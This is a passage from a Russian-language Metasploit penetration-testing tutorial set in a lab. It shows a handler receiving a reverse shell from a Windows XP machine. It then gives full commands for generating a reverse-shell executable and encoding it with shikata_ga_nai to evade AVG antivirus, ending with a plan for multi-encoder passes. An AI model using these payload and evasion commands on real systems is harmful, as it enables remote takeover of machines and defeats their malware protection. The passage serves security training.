Теперь, когда все установлено и готово, командуем 'exploit', для запуска multi/handler . multi/handler прослушивает заданный порт и в случае запуска подготовленного файла на стороне удаленного пользователя предоставляет нам shell.

msf exploit(handler) > exploit
 
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (474 bytes)
[*] Command shell session 2 opened (172.16.104.130:31337 -> 172.16.104.128:1150)
 
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
 
C:\Documents and Settings\Jim\My Documents>

Обход антивирусной защиты.

Как мы видели полезная нагрузка в Metasploit работает здорово. Но есть несколько осложнений. В связи с большим распространением вредоносного ПО, большинство операционных систем семейства Windows работают под защитой того или иного антивирусного программного обеспечения. Давайте приблизим наш пример к реальной жизни и установим бесплатный антивирус AVG и посмотрим, что произойдет с нашим файлом.

avg

Как и предполагалось, антивирус забил тревогу. Давайте подумаем, что мы можем сделать для предотвращения обнаружения нашего модуля антивирусом.
Мы закриптуем исполняемый файл, чтобы усложнить обнаружение антивирусом. Будем использовать командную строку msfencode. Давайте взглянем на некоторые опции, запустив msfencode с переключателем '-h'.

root@bt4:/pentest/exploits/framework3# ./msfencode -h
 
    Usage: ./msfencode
 
OPTIONS:
 
    -a   The architecture to encode as
    -b   The list of characters to avoid: 'x00xff'
    -c   The number of times to encode the data
    -e   The encoder to use
    -h        Help banner
    -i   Encode the contents of the supplied file path
    -l        List available encoders
    -m   Specifies an additional module search path
    -n        Dump encoder information
    -o   The output file
    -s   The maximum size of the encoded data
    -t   The format to display the encoded buffer with (raw, ruby, perl, c, exe, vba)

Давайте посмотрим какие кодировщики у нас имеются, запустив 'msfencode -l'.

root@bt4:/pentest/exploits/framework3# ./msfencode -l
 
Framework Encoders
==================
 
    Name                    Rank       Description                                          
    ----                    ----       -----------                                          
    cmd/generic_sh          normal     Generic Shell Variable Substitution Command Encoder  
    generic/none            normal     The "none" Encoder                                   
    mipsbe/longxor          normal     XOR Encoder                                          
    mipsle/longxor          normal     XOR Encoder                                          
    php/base64              normal     PHP Base64 encoder                                   
    ppc/longxor             normal     PPC LongXOR Encoder                                  
    ppc/longxor_tag         normal     PPC LongXOR Encoder                                  
    sparc/longxor_tag       normal     SPARC DWORD XOR Encoder                              
    x86/alpha_mixed         low        Alpha2 Alphanumeric Mixedcase Encoder                
    x86/alpha_upper         low        Alpha2 Alphanumeric Uppercase Encoder                
    x86/avoid_utf8_tolower  manual     Avoid UTF8/tolower                                   
    x86/call4_dword_xor     normal     Call+4 Dword XOR Encoder                             
    x86/countdown           normal     Single-byte XOR Countdown Encoder                    
    x86/fnstenv_mov         normal     Variable-length Fnstenv/mov Dword XOR Encoder        
    x86/jmp_call_additive   great      Polymorphic Jump/Call XOR Additive Feedback Encoder  
    x86/nonalpha            low        Non-Alpha Encoder                                    
    x86/nonupper            low        Non-Upper Encoder                                    
    x86/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder            
    x86/unicode_mixed       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder        
    x86/unicode_upper       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

Отлично. Мы видим наши возможности, и множество различных кодировщиков которыми мы можем воспользоваться. Давайте воспользуемся "shikata ga nai encoder", подав на его вход вывод команды msfpayload (для бэк-коннекта к нашей машине) из примера выше.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t exe > /tmp/2.exe
 
[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)
 
root@bt:/pentest/exploits/framework3# file /tmp/2.exe
 
/tmp/2.exe: MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit

Передадим бинарный файл на другую систему и посмотрим, что произойдет.

avg2

Все плохо. Он по прежнему уязвим перед AVG. Ну, мы не можем позволить AVG выиграть, правда? Давайте прикинемся немного параноиками и используем три различных кодировщика, двум из которых мы скомандуем по десять проходов, итого на три кодировщика у нас 21 проход. Это то число проходов, при котором файл все еще остается быть рабочим бинарным. AVG никогда не обойти это!